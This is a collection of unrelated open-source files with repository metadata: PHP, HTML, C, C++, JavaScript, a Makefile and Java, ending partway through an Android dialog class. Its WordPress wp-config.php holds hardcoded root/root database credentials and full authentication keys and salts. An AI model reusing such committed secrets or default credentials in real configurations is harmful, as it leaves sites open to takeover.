<option value="218">218</option>
<option value="301">301</option>
<option value="302">302</option>
<option value="303">303</option>
<option value="304">304</option>
<option value="305">305</option>
<option value="306">306</option>
<option value="307">307</option>
<option value="308">308</option>
<option value="309">309</option>
<option value="310">310</option>
<option value="311">311</option>
<option value="312">312</option>
<option value="313">313</option>
<option value="314">314</option>
<option value="315">315</option>
<option value="316">316</option>
<option value="317">317</option>
<option value="318">318</option>
<option value="401">401</option>
<option value="402">402</option>
<option value="403">403</option>
<option value="404">404</option>
<option value="405">405</option>
<option value="406">406</option>
<option value="407">407</option>
<option value="408">408</option>
<option value="409">409</option>
<option value="410">410</option>
<option value="411">411</option>
<option value="412">412</option>
<option value="413">413</option>
<option value="414">414</option>
<option value="415">415</option>
<option value="416">416</option>
<option value="417">417</option>
<option value="418">418</option>
</select>
</tr>
-->
<!--===SUBMIT=====================================================================-->
<tr><td>
<input type="submit" value="View entries"/>
</td></tr>
</table>
</form>
</div>
<!--===END MAIN FORM==============================================================-->
<div class="box_width" id="build_table">
</div>
<!--===FORM FOR EXPORT TO EXCEL===================================================-->
<div class="box_width" id="choose_table">
<form method="post" action="../functions/excel_out_post.php" name="post_excel">
<input type="hidden" value="<?php echo($column_data_out); ?>" name="column_data_out" />
<input type="hidden" value="<?php echo($field_data_out); ?>" name="field_data_out" />
<input type="submit" value="Export Excel File" name="export_excel"/>
</form>
</div>
<div class="box_width" id="build_table02">
</div>
<!--===FORM FOR EXPORT TO EXCEL===================================================-->
<div class="box_width" id="choose_table02">
<form method="post" action="../functions/excel_out_post.php" name="post_excel">
<input type="hidden" value="<?php echo($column_data02_out); ?>" name="column_data02_out" />
<input type="hidden" value="<?php echo($field_data02_out); ?>" name="field_data02_out" />
<input type="submit" value="Export Excel File" name="export_excel"/>
</form>
</div>
<!--===CREATE TABLES===============================================================-->
<script type="text/javascript">
initial_table('<?php echo($column_data_out); ?>','<?php echo($field_data_out); ?>','<?php echo($header); ?>','<?php echo($total_amount); ?>','<?php echo($total_amount_paid); ?>');
</script>
<script type="text/javascript">
initial_table02('<?php echo($column_data02_out); ?>','<?php echo($field_data02_out); ?>','<?php echo($header02); ?>',100);
</script>
</body>
</html>
|
slavenas/propman
|
output_xls/output_report_period01.php
|
PHP
|
gpl-2.0
| 30,403
|
#include "log.h"
#include "draw.h"
#include "ff.h"
#include "i2c.h"
#include "hid.h"
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include "helpers.h"
#include "constants.h"
static FIL logFile;
bool fileLoggingEnabled = false;
bool screenLoggingEnabled = false;
int initLog(bool _fileLoggingEnabled, bool _screenLoggingEnabled)
{
screenLoggingEnabled = _screenLoggingEnabled;
if(_fileLoggingEnabled)
openLogFile();
return 0;
}
void openLogFile()
{
char logFilePath[64]={0};
checkFolders(LOGNAME, logFilePath);
if (f_open(&logFile, logFilePath, FA_READ | FA_WRITE | FA_CREATE_ALWAYS ) != FR_OK)
{
return;
}
f_puts ("opened logfile\n", &logFile);
f_sync (&logFile);
fileLoggingEnabled=true;
}
void closeLogFile()
{
if(fileLoggingEnabled)
{
f_close(&logFile);
fileLoggingEnabled=false;
}
}
void logToFile(char *msg)
{
if(fileLoggingEnabled)
{
f_puts (msg, &logFile);
f_putc ('\n', &logFile);
f_sync (&logFile);
}
}
void logToScreen(char *msg)
{
if(screenLoggingEnabled)
{
drawDebug(msg);
}
}
void info(const char *format, ...)
{
char str[256];
va_list va;
va_start(va, format);
vsnprintf(str, 256, format, va);
va_end(va);
logToFile(str);
logToScreen(str);
}
void debug(const char *format, ...)
{
char str[256];
va_list va;
va_start(va, format);
vsnprintf(str, 256, format, va);
va_end(va);
info("[DEBUG] %s",str);
}
void panic(const char *format, ...)
{
char str[256];
va_list va;
screenLoggingEnabled=true;
va_start(va, format);
vsnprintf(str, 256, format, va);
va_end(va);
initScreen();
info("[PANIC] %s",str);
drawDebug("Press any key to shutdown");
InputWait();
shutdown();
}
void shutdown() {
debug("shutdown");
closeLogFile();
i2cWriteRegister(I2C_DEV_MCU, 0x20, (u8)(1<<0));
while(1);
}
|
hartmannaf/BootCtr9
|
bootloader/source/log.c
|
C
|
gpl-2.0
| 1,906
|
#ifndef DETECTLANDMARK_H
#define DETECTLANDMARK_H
#include "../MCL/ObserveLandmark.h"
class DetectLandmark{
public:
static void Execute();
private:
static LandmarkInformation ScanLine(double tilt, int intercept);
};
#endif
|
unicodon/haribote
|
src/Vision/DetectLandmark.h
|
C
|
gpl-2.0
| 241
|
<html>
<HEAD>
<LINK REL="StyleSheet" TYPE="text/css" HREF="exportdetails_item_standard_black.css"></LINK>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<TITLE>Final Crisis #7A</TITLE>
</HEAD>
<BODY onload="initPage();">
<div align="center">
<div class="navigation" align="center">
<div class="navigationline">
<div class="navlink" id="first">
<a href="14178.html">First</a>
</div>
<div class="navlink" id="prev">
<a href="14435.html">Previous</a>
</div>
<div class="navlink" id="up">
<a href="../index5.html">Up</a>
</div>
<div class="navlink" id="next">
<a href="14437.html">Next</a>
</div>
<div class="navlink" id="last">
<a href="23761.html">Last</a>
</div>
</div>
</div>
</div>
<div id="frontcover">
<a href="../images/14436f.jpg">
<img src="../images/14436f.jpg" class="coverimage"/>
</a>
</div>
<div id="backcover">
<a href="../images/14436b.jpg">
<img src="../images/14436b.jpg" class="coverimage"/>
</a>
</div>
<table border="0" class="opacity">
<tr>
<td id="maintitle">Final Crisis #7A</td>
</tr>
<tr>
<td class="publisher">DC Comics</td>
</tr>
<tr>
<td style="padding-top:4px;">Wanted
<br/>
<span id="indexvalue">#1112</span>
<div>
<span class="fieldvaluelarge">0*
</span>
</div>
</td>
</tr>
<tr>
<td class="fieldvaluelarge" style="padding-top:7px;">Final Crisis - New Heaven, New Earth</td>
</tr>
<tr>
<td class="fieldvaluelarge" style="padding-top:1px;">
<b>March 2009</b> 
Character Cover</td>
</tr>
<tr>
<td class="fieldvaluelarge" style="padding-top:1px;">
<b>Comic</b> 
Modern Age $3.99</td>
</tr>
<tr>
<td class="fieldvaluelarge" style="padding-top:1px;">
<b>Read It: Yes</b> 40 Pages</td>
</tr>
</table>
<br style="clear:both;"/>
<div id="notes" class="opacity">Superman has returned from his adventures beyond, and he's not happy with what he finds back home. Reality is fracturing under the victory by evil, and nothing short of a wishing machine is going to be able to give the multiverse a happy ending.</div>
<div>
<table border="0" width="100%" style="margin-top:5px;">
<tr>
<td valign="top" width="40%">
<div id="productdetails">
<table border="0" cellspacing="0" cellpadding="0" class="opacity">
<tr>
<td class="header" colspan="2">Creators</td>
</tr>
<tr>
<td>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Writer</td>
<td class="fieldvalue">Grant Morrison</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Penciller</td>
<td class="fieldvalue">Doug Mahnke</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Inker</td>
<td class="fieldvalue">Norm Rapmund, Walden Wong, Doug Mahnke, Tom Nguyen, Christian Alamy, Drew Geraci, Rodney Ramos</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Colorist</td>
<td class="fieldvalue">Alex Sinclair, Pete Pantazis, Tony Aviña</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Letterer</td>
<td class="fieldvalue">Travis Lanham</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Cover Artist</td>
<td class="fieldvalue">J.G. Jones</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Editor</td>
<td class="fieldvalue">Eddie Berganza</td>
</tr>
<tr valign="top">
<td nowrap="1" class="fieldlabel">Editor In Chief</td>
<td class="fieldvalue">Dan DiDio</td>
</tr>
</td>
</tr>
</table>
</div>
</td>
<td valign="top">
<div id="productdetails">
<table border="0" cellspacing="0" cellpadding="0" class="opacity">
<tr>
<td class="header" colspan="2">Characters</td>
</tr>
<tr>
<td class="character">Anthro
<br/>Apollo (Wildstorm)
<br/>Aquaman (Arthur Joseph Curry)
<br/>Atom (Ryan Choi)
<br/>Atom (Ray Palmer)
<br/>Atom Smasher (Albert Rothstein)
<br/>Batwoman (Kate Kane)
<br/>Big Atomic Lantern Boy
<br/>Black Canary (Dinah Laurel Lance)
<br/>Blue Devil (Daniel Patrick Cassidy)
<br/>Captain Carrot (Roger Rodney Rabbit)
<br/>Captain Cold (Leonard Snart)
<br/>Captain Marvel (Earth-5) (Billy Batson)
<br/>Catwoman (Selina Kyle)
<br/>Chief (Niles Caulder)
<br/>Cyclone (Maxine Hunkel)
<br/>Darkseid (Uxas)
<br/>Flash (Barry Allen)
<br/>Flash (Wally West)
<br/>Frankenstein
<br/>Giganta (Doris Zuel)
<br/>Gorilla Grodd (Grodd)
<br/>Green Arrow (Oliver Queen)
<br/>Green Lantern (Guy Gardner)
<br/>Green Lantern (Hal Jordan)
<br/>Green Lantern (John Stewart)
<br/>Hawkgirl (Kendra Saunders)
<br/>Hawkman (Carter Hall)
<br/>Human Flame (Mike Miller)
<br/>Iman (Diego Irigoyen)
<br/>Ion (Sodam Yat)
<br/>Kamandi
<br/>Lois Lane
<br/>Lex Luthor
<br/>Will Magnus
<br/>Mandrakk
<br/>Mirror Master (Evan McCulloch)
<br/>Monitor (Weeja Dell)
<br/>Monitor (Zip Hermuz)
<br/>Monitor (Tahoteh)
<br/>Monitor (Nix Uotan)
<br/>Most Excellent Superbat (Heino)
<br/>Mr. Majestic (Majestros)
<br/>Mr. Terrific (Michael Holt)
<br/>Ocean Master (Orm Curry Marius)
<br/>Jimmy Olsen
<br/>Overman (Earth-10) (Kal-L / Karl Kant)
<br/>Pig Iron (Peter Porkchop)
<br/>Power Girl (Kara / Karen Zor-L / Starr)
<br/>Question (Renee Montoya)
<br/>Red Devil (Eddie Bloomberg)
<br/>Rubberduck (Byrd Rentals)
<br/>Shiny Happy Aquazon (Kim Kimura)
<br/>Thaddeus Sivana
<br/>Stargirl (Courtney Whitmore)
<br/>Starman (Thom Kallor)
<br/>Sonny Sumo
<br/>Sunshine Superman
<br/>Supergirl (Kara / Linda Zor-El / Lang)
<br/>Superman (Earth-30) (Kal-El)
<br/>Superman (Kal-El / Clark Kent)
<br/>Ron Troupe
<br/>Ultraman (Anti-Matter Earth) (Clark Kent)
<br/>Well-Spoken Sonic Lightning Flash (Keigo)
<br/>Iris West II
<br/>Jai West
<br/>Iris West-Allen
<br/>Perry White
<br/>Wonder Girl (Cassandra 'Cassie' Sandsmark)
<br/>Wonder Woman (Diana)
<br/>Yankee Poodle (Rova Barkitt)
<br/>
</td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td valign="top">
<p></p>
<div id="productdetails">
<table border="0" cellspacing="0" cellpadding="0" class="opacity">
<tr>
<td class="header" colspan="2">Product Details</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Series Group</td>
<td class="fieldvalue">Final Crisis</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Genre</td>
<td class="fieldvalue">Adventure, Super-Heroes, Action</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Color</td>
<td class="fieldvalue">Color</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Barcode</td>
<td class="fieldvalue">76194126774600711</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Country</td>
<td class="fieldvalue">USA</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Language</td>
<td class="fieldvalue">English</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Release Date</td>
<td class="fieldvalue">1/28/2009</td>
</tr>
</table>
</div>
</td>
<td valign="top">
<p></p>
<div id="personaldetails">
<table border="0" cellspacing="0" cellpadding="0" class="opacity">
<tr>
<td class="header" colspan="2">Personal Details</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Collection Status</td>
<td class="fieldvalue">Wanted</td>
</tr>
<tr valign="top">
<td class="fieldlabel" width="10%" nowrap="1">Links</td>
<td class="fieldvalue">
<a href="http://connect.collectorz.com/comics/database/final-crisis/7a-204955" class="link">Final Crisis #7A at Comic Collector Connect</a>
<br/>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
<p></p>
</div>
</BODY>
</html>
|
MiniSEC/MiniSEC.github.io
|
assets/comics/Wishlist/details/14436.html
|
HTML
|
gpl-2.0
| 11,311
|
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wpDataSite');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'root');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'opO;*{[CXo[{(|[84u5=!>wOs|eIys+z=k@#8f8`ZiN1{ y~22qyE14oBzK$K[<C');
define('SECURE_AUTH_KEY', '!a*c3yG]5pdj4/,CvM(x(3jXp9(#P#Y_}zDLV+@2~-IrDp;20|tr(IXA}pIpcx-B');
define('LOGGED_IN_KEY', 'uO$pn~gd8=|S21ejYjY&NJOt$Xx-7Ge}xWIIQ-g+!{[DT(&)ME}iQ!qAbwo$G_(#');
define('NONCE_KEY', ':ZaZF55/~Sq>j/g9#Kl_dcA>9N.5O+oEPC>=G?166qvGGY=Hc>hUY#& )h@vm&d2');
define('AUTH_SALT', 'D_GwhV?&40#|z-.yq..-QwXColl5<:g#Bs;|{vlA O!D<3H&Gact-rb#rDQQmIcl');
define('SECURE_AUTH_SALT', ']@bW$iAH?d0y2DL0z@a]GOUz4NU5=^1K5dQFr?JADrcRauMN/,wEJ<+Q]9{zR-3r');
define('LOGGED_IN_SALT', 'Ffj:A|_+k;c}o@Q&i,h1nf?/rm5[E+h+>_IZ+BJJ$a-K]|d:q?^&[IovV@eTPUun');
define('NONCE_SALT', 'Y c-%Fg]Q+7W*O#A1^D)OmOKkiO7[Zyr!k|6{<rX=x$w^v)l6j-afXERiB!?{]l6');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
|
Anthonvg/Site-Wp
|
wp-config.php
|
PHP
|
gpl-2.0
| 3,009
|
install:
sudo apt-get install -y haskell-platform
deps:
cabal update
cabal sandbox init
cabal install snap
init:
./cabal-sandbox/bin/snap init
|
ardumont/snap-lab
|
Makefile
|
Makefile
|
gpl-2.0
| 150
|
/*
* arch/sh/kernel/cpu/init.c
*
* CPU init code
*
* Copyright (C) 2002, 2003 Paul Mundt
* Copyright (C) 2003 Richard Curnow
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*/
#include <linux/init.h>
#include <linux/kernel.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/page.h>
#include <asm/system.h>
#include <asm/cacheflush.h>
#include <asm/cache.h>
#include <asm/io.h>
extern void detect_cpu_and_cache_system(void);
/*
* Generic wrapper for command line arguments to disable on-chip
* peripherals (nofpu, nodsp, and so forth).
*/
#define onchip_setup(x) \
static int x##_disabled __initdata = 0; \
\
static int __init x##_setup(char *opts) \
{ \
x##_disabled = 1; \
return 1; \
} \
__setup("no" __stringify(x), x##_setup);
onchip_setup(fpu);
onchip_setup(dsp);
/*
* Generic first-level cache init
*/
static void __init cache_init(void)
{
unsigned long ccr, flags;
if (cpu_data->type == CPU_SH_NONE)
panic("Unknown CPU");
jump_to_P2();
ccr = ctrl_inl(CCR);
/*
* At this point we don't know whether the cache is enabled or not - a
* bootloader may have enabled it. There are at least 2 things that
* could be dirty in the cache at this point:
* 1. kernel command line set up by boot loader
* 2. spilled registers from the prolog of this function
* => before re-initialising the cache, we must do a purge of the whole
* cache out to memory for safety. As long as nothing is spilled
* during the loop to lines that have already been done, this is safe.
* - RPC
*/
if (ccr & CCR_CACHE_ENABLE) {
unsigned long ways, waysize, addrstart;
waysize = cpu_data->dcache.sets;
/*
* If the OC is already in RAM mode, we only have
* half of the entries to flush..
*/
if (ccr & CCR_CACHE_ORA)
waysize >>= 1;
waysize <<= cpu_data->dcache.entry_shift;
#ifdef CCR_CACHE_EMODE
/* If EMODE is not set, we only have 1 way to flush. */
if (!(ccr & CCR_CACHE_EMODE))
ways = 1;
else
#endif
ways = cpu_data->dcache.ways;
addrstart = CACHE_OC_ADDRESS_ARRAY;
do {
unsigned long addr;
for (addr = addrstart;
addr < addrstart + waysize;
addr += cpu_data->dcache.linesz)
ctrl_outl(0, addr);
addrstart += cpu_data->dcache.way_incr;
} while (--ways);
}
/*
* Default CCR values .. enable the caches
* and invalidate them immediately..
*/
flags = CCR_CACHE_ENABLE | CCR_CACHE_INVALIDATE;
#ifdef CCR_CACHE_EMODE
/* Force EMODE if possible */
if (cpu_data->dcache.ways > 1)
flags |= CCR_CACHE_EMODE;
else
flags &= ~CCR_CACHE_EMODE;
#endif
#ifdef CONFIG_SH_WRITETHROUGH
/* Turn on Write-through caching */
flags |= CCR_CACHE_WT;
#else
/* .. or default to Write-back */
flags |= CCR_CACHE_CB;
#endif
#ifdef CONFIG_SH_OCRAM
/* Turn on OCRAM -- halve the OC */
flags |= CCR_CACHE_ORA;
cpu_data->dcache.sets >>= 1;
cpu_data->dcache.way_size = cpu_data->dcache.sets *
cpu_data->dcache.linesz;
#endif
ctrl_outl(flags, CCR);
back_to_P1();
}
#ifdef CONFIG_SH_DSP
static void __init release_dsp(void)
{
unsigned long sr;
/* Clear SR.DSP bit */
__asm__ __volatile__ (
"stc\tsr, %0\n\t"
"and\t%1, %0\n\t"
"ldc\t%0, sr\n\t"
: "=&r" (sr)
: "r" (~SR_DSP)
);
}
static void __init dsp_init(void)
{
unsigned long sr;
/*
* Set the SR.DSP bit, wait for one instruction, and then read
* back the SR value.
*/
__asm__ __volatile__ (
"stc\tsr, %0\n\t"
"or\t%1, %0\n\t"
"ldc\t%0, sr\n\t"
"nop\n\t"
"stc\tsr, %0\n\t"
: "=&r" (sr)
: "r" (SR_DSP)
);
/* If the DSP bit is still set, this CPU has a DSP */
if (sr & SR_DSP)
cpu_data->flags |= CPU_HAS_DSP;
/* Now that we've determined the DSP status, clear the DSP bit. */
release_dsp();
}
#endif /* CONFIG_SH_DSP */
/**
* sh_cpu_init
*
* This is our initial entry point for each CPU, and is invoked on the boot
* CPU prior to calling start_kernel(). For SMP, a combination of this and
* start_secondary() will bring up each processor to a ready state prior
* to hand forking the idle loop.
*
* We do all of the basic processor init here, including setting up the
* caches, FPU, DSP, kicking the UBC, etc. By the time start_kernel() is
* hit (and subsequently platform_setup()) things like determining the
* CPU subtype and initial configuration will all be done.
*
* Each processor family is still responsible for doing its own probing
* and cache configuration in detect_cpu_and_cache_system().
*/
asmlinkage void __init sh_cpu_init(void)
{
/* First, probe the CPU */
detect_cpu_and_cache_system();
/* Init the cache */
cache_init();
shm_align_mask = max_t(unsigned long,
cpu_data->dcache.way_size - 1,
PAGE_SIZE - 1);
/* Disable the FPU */
if (fpu_disabled) {
printk("FPU Disabled\n");
cpu_data->flags &= ~CPU_HAS_FPU;
disable_fpu();
}
/* FPU initialization */
if ((cpu_data->flags & CPU_HAS_FPU)) {
clear_thread_flag(TIF_USEDFPU);
clear_used_math();
}
#ifdef CONFIG_SH_DSP
/* Probe for DSP */
dsp_init();
/* Disable the DSP */
if (dsp_disabled) {
printk("DSP Disabled\n");
cpu_data->flags &= ~CPU_HAS_DSP;
release_dsp();
}
#endif
#ifdef CONFIG_UBC_WAKEUP
/*
* Some brain-damaged loaders decided it would be a good idea to put
* the UBC to sleep. This causes some issues when it comes to things
* like PTRACE_SINGLESTEP or doing hardware watchpoints in GDB. So ..
* we wake it up and hope that all is well.
*/
ubc_wakeup();
#endif
}
|
milaq/linux-hpc
|
arch/sh/kernel/cpu/init.c
|
C
|
gpl-2.0
| 5,606
|
/***********************************************************************
VruiCalibrator - Simple program to check the calibration of a VR
environment.
Copyright (c) 2005 Oliver Kreylos
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
***********************************************************************/
#include <Math/Math.h>
#include <Geometry/OrthogonalTransformation.h>
#include <GL/gl.h>
#include <GL/GLColor.h>
#include <GL/GLColorTemplates.h>
#include <GL/GLVertexTemplates.h>
#include <GL/GLGeometryWrappers.h>
#include <GL/GLTransformationWrappers.h>
#include <GLMotif/Button.h>
#include <GLMotif/Menu.h>
#include <GLMotif/PopupMenu.h>
#include <Vrui/InputDevice.h>
#include <Vrui/Vrui.h>
#include <Vrui/Application.h>
class VruiDemo:public Vrui::Application
{
/* Elements: */
private:
/* Vrui parameters: */
GLColor<GLfloat,4> modelColor; // Color to draw the model
GLMotif::PopupMenu* mainMenu; // The program's main menu
/* Private methods: */
GLMotif::PopupMenu* createMainMenu(void); // Creates the program's main menu
/* Constructors and destructors: */
public:
VruiDemo(int& argc,char**& argv,char**& appDefaults); // Initializes the Vrui toolkit and the application
virtual ~VruiDemo(void); // Shuts down the Vrui toolkit
/* Methods: */
virtual void display(GLContextData& contextData) const; // Called for every eye and every window on every frame
void resetNavigationCallback(Misc::CallbackData* cbData); // Method to reset the Vrui navigation transformation to its default
};
/*************************
Methods of class VruiDemo:
*************************/
GLMotif::PopupMenu* VruiDemo::createMainMenu(void)
{
/* Create a popup shell to hold the main menu: */
GLMotif::PopupMenu* mainMenuPopup=new GLMotif::PopupMenu("MainMenuPopup",Vrui::getWidgetManager());
mainMenuPopup->setTitle("Vrui Demonstration");
/* Create the main menu itself: */
GLMotif::Menu* mainMenu=new GLMotif::Menu("MainMenu",mainMenuPopup,false);
/* Create a button: */
GLMotif::Button* resetNavigationButton=new GLMotif::Button("ResetNavigationButton",mainMenu,"Reset Navigation");
/* Add a callback to the button: */
resetNavigationButton->getSelectCallbacks().add(this,&VruiDemo::resetNavigationCallback);
/* Finish building the main menu: */
mainMenu->manageChild();
return mainMenuPopup;
}
VruiDemo::VruiDemo(int& argc,char**& argv,char**& appDefaults)
:Vrui::Application(argc,argv,appDefaults),
mainMenu(0)
{
/* Calculate the model color: */
for(int i=0;i<3;++i)
modelColor[i]=1.0f-Vrui::getBackgroundColor()[i];
modelColor[3]=1.0f;
/* Create the user interface: */
mainMenu=createMainMenu();
/* Install the main menu: */
Vrui::setMainMenu(mainMenu);
/* Set the navigation transformation: */
resetNavigationCallback(0);
}
VruiDemo::~VruiDemo(void)
{
delete mainMenu;
}
void VruiDemo::display(GLContextData& contextData) const
{
Vrui::Point displayCenter=Vrui::getDisplayCenter();
Vrui::Scalar inchScale=Vrui::getInchFactor();
/* Set up OpenGL state: */
GLboolean lightingEnabled=glIsEnabled(GL_LIGHTING);
if(lightingEnabled)
glDisable(GL_LIGHTING);
GLfloat lineWidth;
glGetFloatv(GL_LINE_WIDTH,&lineWidth);
glLineWidth(1.0f);
/* Draw a 10" wireframe cube in the middle of the environment: */
glPushMatrix();
glTranslate(displayCenter-Vrui::Point::origin);
glScale(inchScale,inchScale,inchScale);
glColor(modelColor);
glBegin(GL_LINES);
glVertex(-5.0f,-5.0f,-5.0f);
glVertex( 5.0f,-5.0f,-5.0f);
glVertex(-5.0f, 5.0f,-5.0f);
glVertex( 5.0f, 5.0f,-5.0f);
glVertex(-5.0f, 5.0f, 5.0f);
glVertex( 5.0f, 5.0f, 5.0f);
glVertex(-5.0f,-5.0f, 5.0f);
glVertex( 5.0f,-5.0f, 5.0f);
glVertex(-5.0f,-5.0f,-5.0f);
glVertex(-5.0f, 5.0f,-5.0f);
glVertex( 5.0f,-5.0f,-5.0f);
glVertex( 5.0f, 5.0f,-5.0f);
glVertex( 5.0f,-5.0f, 5.0f);
glVertex( 5.0f, 5.0f, 5.0f);
glVertex(-5.0f,-5.0f, 5.0f);
glVertex(-5.0f, 5.0f, 5.0f);
glVertex(-5.0f,-5.0f,-5.0f);
glVertex(-5.0f,-5.0f, 5.0f);
glVertex( 5.0f,-5.0f,-5.0f);
glVertex( 5.0f,-5.0f, 5.0f);
glVertex( 5.0f, 5.0f,-5.0f);
glVertex( 5.0f, 5.0f, 5.0f);
glVertex(-5.0f, 5.0f,-5.0f);
glVertex(-5.0f, 5.0f, 5.0f);
glEnd();
glPopMatrix();
/* Draw coordinate axes for each input device: */
int numDevices=Vrui::getNumInputDevices();
for(int i=0;i<numDevices;++i)
{
Vrui::InputDevice* id=Vrui::getInputDevice(i);
if(id->is6DOFDevice())
{
glPushMatrix();
glMultMatrix(id->getTransformation());
glScale(inchScale,inchScale,inchScale);
glBegin(GL_LINES);
glColor3f(1.0f,0.0f,0.0f);
glVertex3f(-5.0f,0.0f,0.0f);
glVertex3f( 5.0f,0.0f,0.0f);
glColor3f(0.0f,1.0f,0.0f);
glVertex3f(0.0f,-5.0f,0.0f);
glVertex3f(0.0f, 5.0f,0.0f);
glColor3f(0.0f,0.0f,1.0f);
glVertex3f(0.0f,0.0f,-5.0f);
glVertex3f(0.0f,0.0f, 5.0f);
glEnd();
glPopMatrix();
}
}
/* This only works in the CAVE - draw a grid on the "front wall" to calibrate external cameras: */
glBegin(GL_LINES);
glColor3f(1.0f,1.0f,0.0f);
for(int y=0;y<=8;++y)
{
glVertex(-60.0f,-36.0f,float(y)*12.0f);
glVertex(60.0f,-36.0f,float(y)*12.0f);
}
for(int x=0;x<=10;++x)
{
glVertex(float(x)*12.0f-60.0f,-36.0f,0.0f);
glVertex(float(x)*12.0f-60.0f,-36.0f,96.0f);
}
glEnd();
/* Restore OpenGL state: */
glLineWidth(lineWidth);
if(lightingEnabled)
glEnable(GL_LIGHTING);
}
void VruiDemo::resetNavigationCallback(Misc::CallbackData* cbData)
{
/* Reset the Vrui navigation transformation: */
Vrui::NavTransform t=Vrui::NavTransform::identity;
t*=Vrui::NavTransform::translateFromOriginTo(Vrui::getDisplayCenter());
t*=Vrui::NavTransform::scale(Vrui::getInchFactor());
t*=Vrui::NavTransform::translateToOriginFrom(Vrui::getDisplayCenter());
Vrui::setNavigationTransformation(t);
}
int main(int argc,char* argv[])
{
/* Create an application object: */
char** appDefaults=0; // This is an additional parameter no one ever uses
VruiDemo app(argc,argv,appDefaults);
/* Run the Vrui main loop: */
app.run();
/* Exit to OS: */
return 0;
}
|
VisualIdeation/Vrui-2.2-003
|
ExamplePrograms/VruiCalibrator.cpp
|
C++
|
gpl-2.0
| 6,656
|
let mix = require('laravel-mix');
/*
|--------------------------------------------------------------------------
| Mix Asset Management
|--------------------------------------------------------------------------
|
| Mix provides a clean, fluent API for defining some Webpack build steps
| for your Laravel application. By default, we are compiling the Sass
| file for the application as well as bundling up all the JS files.
|
*/
mix.js('resources/assets/js/app.js', 'public/js')
.js('resources/assets/js/salary_calc.js', 'public/js')
.less('resources/assets/less/app.less', 'public/css')
.less('resources/assets/less/salarycalc.less', 'public/css')
.less('resources/assets/less/wordcounter.less', 'public/css')
.copy('resources/assets/img', 'public/img');
|
eddcoons/portfolio
|
webpack.mix.js
|
JavaScript
|
gpl-2.0
| 787
|
package eu.ttbox.velib.ui.map.dialog;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.text.Editable;
import android.widget.EditText;
import eu.ttbox.velib.R;
public class AliasInputDialog extends AlertDialog implements OnClickListener {
private final OnAliasInputListener mCallBack;
private EditText aliaseditText;
/**
* The callback used to indicate the user is done selecting the favorite Icon.
*/
public interface OnAliasInputListener {
void onAliasInput(String alias);
}
public AliasInputDialog(Context context, OnAliasInputListener callBack) {
this(context, 0, callBack);
}
public AliasInputDialog(Context context, int theme, OnAliasInputListener callBack) {
super(context, theme);
this.mCallBack = callBack;
// Init
Context themeContext = getContext();
setTitle(R.string.dialog_custum_alias);
setCancelable(true);
setIcon(0);
setCanceledOnTouchOutside(true);
setButton(BUTTON_POSITIVE, themeContext.getText(R.string.valid), this);
setButton(BUTTON_NEGATIVE, themeContext.getText(R.string.cancel), (OnClickListener) null);
// Create View
aliaseditText = new EditText(getContext());
aliaseditText.setHint(R.string.dialog_custum_alias_hint);
setView(aliaseditText);
}
